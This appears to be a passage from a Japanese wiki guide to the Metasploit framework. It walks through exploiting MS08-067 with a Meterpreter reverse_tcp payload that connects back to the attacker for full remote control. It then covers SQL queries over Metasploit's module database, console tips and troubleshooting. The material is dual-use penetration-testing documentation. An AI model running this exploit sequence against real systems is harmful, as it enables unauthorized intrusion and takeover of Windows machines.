msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) ...
exploit する前に必要なフィールドを全て設定してください。上記の場合、RHOST
変数を指定する必要があります。変数に値を指定するには set
コマンドを使います:
msf exploit(ms08_067_netapi) > set RHOST 192.168.56.102
そしてペイロードを選択:
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
ペイロードを選択 (つまりモジュールを選択) するとオプションが増えます。もう一度 show options
を実行してください:
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.56.102 yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (accepted: seh, thread, process, none) LHOST yes The listen address LPORT 4444 yes The listen port
LHOST
変数にあなたのコンピュータのアドレスを指定してください。exploit されたコンピュータはそのアドレスに接続リクエストを送信します:
msf exploit(ms08_067_netapi) > set LHOST 192.168.56.1
では攻撃を開始してください:
msf exploit(ms08_067_netapi) > exploit
上手く行けば、Meterpreter セッションが表示され、リモートコンピュータであらゆることができるようになります。
ヒントとテクニック
データベースから検索
Metasploit ではあらゆるものがデータベースに保存されるため、フロントエンドコマンドの search
を使わなくても強力な検索を使うことが簡単にできます。
データベースインターフェイスを起動するには、次を実行:
$ psql msf
モジュールに関する情報は8つのテーブルに保存されています:
テーブル名 | 中身 |
---|---|
module_details
|
"メイン"のテーブルで、各モジュールの詳細情報が入っています。 |
module_actions
|
auxiliary モジュールのアクション名。 |
module_archs
|
対象ハードウェアのアーキテクチャやソフトウェアのプラットフォーム |
module_authors
|
モジュールの作者の名前とメールアドレス。 |
module_mixins
|
空 (???) |
module_platforms
|
対象オペレーティングシステム。#exploit の数によるプラットフォームの人気度 も参照。 |
module_refs
|
様々なオンラインの exploit データベースとレポートのリファレンス。 |
module_targets
|
exploit 対象のプログラムの名前とバージョン。 |
ほとんどのテーブルには3つカラムがあります: id
, detail_id
, name
。例外的に module_details
テーブルは16のカラムがあります。
detail_id
の値は module_details
テーブルの行数のポインタです。
テーブルの中身を全て表示するには、次を実行:
SELECT * FROM table_name;
マルチ:
- Architecture
- Platform
- Target
モジュールのオプション:
- module type
- stance
- privileged
- path
- name
- refname
- rank
- privileged
- disclosure date
データベース検索のサンプル
module_details
テーブルには複数のカラムがあり、全ての情報を一度に表示するのは得策ではありません。モジュールの基本的な情報だけを表示するには:
SELECT id, mtype, refname, disclosure_date, rank, stance, name FROM module_details;
module_platforms
のプラットフォーム情報を含む、利用可能なモジュールの情報を表示:
SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id;
Windows プラットフォームの全てのクライアント (aggressive) exploit を表示:
SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id WHERE module_platforms.name = 'windows' AND mtype = 'exploit' AND stance = 'aggressive';
2013年以後に発表された rank >= 500 の Windows プラットフォーム用の exploit を全て表示:
SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id WHERE module_platforms.name = 'windows' AND mtype = 'exploit' AND rank >= 500 AND disclosure_date >= TIMESTAMP '2013-1-1';
rank >= 500 の Windows プラットフォームの aggressive (client) exploit を全て表示、モジュールの対象情報も含む:
SELECT module_details.id, mtype, module_platforms.name as platform, module_details.name, DATE(disclosure_date), rank, module_targets.name as target FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id JOIN module_targets on module_details.id = module_targets.detail_id WHERE module_platforms.name = 'windows' AND mtype = 'exploit' AND stance = 'aggressive' AND rank >= 500 order by target;
exploit の数によるプラットフォームの人気度
利用可能な platform
の値と、利用可能な exploit の数を調べるには、psql
から以下を実行:
SELECT name, count(*) FROM module_platforms GROUP BY name ORDER BY count DESC;
起動時の ASCII バナーを無効化
バナーを無効化するには、-q
/--quiet
引数を付けて msfconsole
を実行してください:
$ msfconsole --quiet
セッションが変わっても変数の値を維持する
他のモジュールを選択したときや msfconsole
を再起動したときに変数がリセットされるのが気に食わない場合、setg
で変数をグローバルに設定してください。例:
msf > setg RHOST 192.168.56.102
トラブルシューティング
VNC ビューアでクリックできない
ペイロードとして VNC ビューアを選択したときに、クリックができない、あるいは何もできない場合、ViewOnly
変数を false
に設定するのを忘れています。この問題を修正するには、変数を false
に設定してから exploit を再度実行してください:
msf > set ViewOnly false
cannot load such file -- robots (LoadError)
以下のようなエラーが表示される場合:
~/metasploit-framework/lib/metasploit/framework.rb:19:in `require': cannot load such file -- robots (LoadError) from ~/metasploit-framework/lib/metasploit/framework.rb:19:in `<top (required)>' from ~/metasploit-framework/lib/metasploit/framework/database.rb:1:in `require' from ~/metasploit-framework/lib/metasploit/framework/database.rb:1:in `<top (required)>' from ~/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:17:in `require' from ~/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:17:in `<top (required)>' from ~/metasploit-framework/lib/metasploit/framework/parsed_options/console.rb:2:in `<top (required)>' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:230:in `const_get' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:230:in `block in constantize' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:229:in `each' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:229:in `constantize' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/core_ext/string/inflections.rb:54:in `constantize' from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:73:in `parsed_options_class' from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:69:in `parsed_options' from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:47:in `require_environment!' from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:81:in `start' from ./msfconsole:48:in `<main>'
このエラーは robots.rb
ファイルのパーミッションが不適切で root ユーザーからしか読み取れなくなっているのが原因です (バグレポート を参照):
$ ls -l /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib
total 4 -rw-r----- 1 root root 3174 Oct 19 16:47 robots.rb
エラーを修正するには、誰からでも読み取れるようにパーミッションを変更してください:
# chmod o+r /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib/robots.rb
db_connect が何もエラーを表示しないで失敗する
db_connect
の実行時に何も出力がされず、遅れて以下のようなメッセージが表示される場合:
[!] Database not connected or cache not built, using slow search
おそらく postgresql
サービスが動いていません。